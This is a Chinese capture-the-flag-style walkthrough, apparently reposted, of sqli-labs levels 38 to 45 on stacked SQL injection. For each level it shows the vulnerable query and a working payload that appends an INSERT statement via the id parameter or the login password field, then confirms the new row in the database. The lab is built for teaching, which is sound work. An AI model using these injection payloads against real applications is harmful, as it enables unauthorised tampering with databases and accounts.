| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> sqli-labs Less-38、39、40、41、42、43、44、45(sqli-labs闯关指南 38、39、40、41、42、43、44、45)—堆叠注入 -> 正文阅读 |
|
[大数据]sqli-labs Less-38、39、40、41、42、43、44、45(sqli-labs闯关指南 38、39、40、41、42、43、44、45)—堆叠注入 |
目录 关于堆叠注入的简介前面已经介绍过了,可以参考:第三部分/page-3 Stacked injection 堆叠注入_m0_54899775的博客-CSDN博客 Less-38源码: ?????????在执行 select 时的 sql 语句为:SELECT * FROM users WHERE id='$id' LIMIT 0,1可以直接构造如下的 payload: ??id=1';insert into users(id,username,password) values ('38','less38','hello')--+ 查看数据库: ? ?发现已经添加成功。 Less-39?源码: ?????????和 less-38 的区别在于 sql 语句的不一样:SELECT * FROM users WHERE id=$id LIMIT 0,1 ?id=1;insert into users(id,username,password) values ('39','less39','111')--+ ?查看数据库: 已经插入了数据。? Less-40源码: ?????????本关与前两关都是类似的,唯一的区别是sql语句不太一样,本关的 sql 语句为 SELECT * FROM users WHERE id=('$id') LIMIT 0,1。 ????????我们可以构造以下的 payload: ?????????id=1');insert into users(id,username,password) values ('40','less40','111')--+ ?查看数据库: 添加数据成功。 ?Less-41源码: ?????????此处与 less-39 是一致的,区别在于 41 错误不回显。所以我们称之为盲注。?我们可以构造以下的 payload: ?id=1;insert into users(id,username,password) values ('41','less41','111')--+ 查看数据库: ? 发现账户及密码被添加成功。? ?Less-42源码: ?????????Update 更新数据后,经过 mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在 select 调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。 ????????Password 变量在 post 过程中,没有通过 mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行攻击。 ccc';insert into users(id,username,password) values ('42','less42','111')#? ????????注:?将type修改为任意字符是为了方便查看输入的信息,实际没什么作用。 显示登陆失败,查看数据库中数据: ? ?发现数据是添加成功的。 Less-43源码: ?????????此关与Less-42关几乎相同,不同的是sql语句,因此这里Password处可以构造下面的payload: ????????ccc');insert into users(id,username,password) values ('43','less43','111')#? 用户名随意。 ????????注:?将type修改为任意字符是为了方便查看输入的信息,实际没什么作用。 ?显示登陆失败,这里进行数据库的查看: 发现用户名和密码也是添加成功的。 Less-44?源码: ????????本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与 42 关的区别就在于没有报错信息,同时,我们使用同样方式的 payload:? ??cc11c';insert into users(id,username,password) values ('44','less44','111')#? ?用户名还是随意输入: ????????注:?将type修改为任意字符是为了方便查看输入的信息,实际没什么作用。 显示登陆失败,查看数据库: ? 发现用户名密码添加成功。 ?Less-45?源码: ?????????同样的,45 关与 43 关的 payload 是一样的,只不过 45 关依旧没有报错信息。构造下面的payload: ????????用户名随意 ????????Password:334');insert into users(id,username,password) values ('45','less45','111')#? ?显示登陆错误,查看数据库: 用户名和密码已经添加成功。? |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 14:14:22- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |